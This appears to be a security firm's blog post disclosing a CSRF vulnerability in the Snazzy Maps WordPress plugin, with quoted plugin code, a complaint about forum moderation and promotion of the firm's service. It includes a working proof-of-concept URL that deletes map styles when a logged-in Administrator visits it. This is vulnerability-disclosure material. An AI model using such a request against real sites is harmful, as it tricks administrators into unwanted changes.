01 Nov

Recently Closed WordPress Plugin with 80,000+ Installs Contains CSRF Vulnerability

The plugin Snazzy Maps was closed on the WordPress Plugin Directory on Wednesday. That is one of the 1,000 most popular plugins with 80,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a cross-site request forgery (CSRF) vulnerability.

The plugin makes its admin page accessible to those with the “manage_options” capability, so Administrators:

add_theme_page('Snazzy Maps', 'Snazzy Maps', 'manage_options', 'snazzy_maps', '\SnazzyMaps\SnazzyMaps_Index::admin_add_custom_content');

Accessing that page causes the function admin_add_custom_content() to run and in that if the GET input “tab” is set to 0 or not set, the function admin_styles_tab() runs:

public static function admin_add_custom_content(){
	$active_tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : '0';
<?php if($active_tab == 0) { \SnazzyMaps\SnazzyMaps_Styles::admin_styles_tab(0); } ?>

In that function the plugin’s map styles can be removed without there being a check for a valid nonce, so an attacker could cause an Administrator to do that without intending it:

public static function admin_styles_tab($tab){
	$styles = get_option('SnazzyMapStyles', null);
	if($styles == null){
		$styles = array();
	//Delete the specified style from the array
	if(isset($_GET['action']) && sanitize_text_field($_GET['action']) == 'delete_style'){
		$index = \SnazzyMaps\SnazzyMaps_Styles::_getStyleIndex($styles, sanitize_text_field($_GET['style']));
		$defaultStyle = get_option('SnazzyMapDefaultStyle', null);  
			$oldStyle = $styles[$index];
			array_splice($styles, $index, 1);    
			update_option('SnazzyMapStyles', $styles);

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will remove the specified map style, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[map style ID]” with the ID of the map to be removed.

http://[path to WordPress]/wp-admin/themes.php?page=snazzy_maps&tab=0&action=delete_style&style=[map style ID]

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.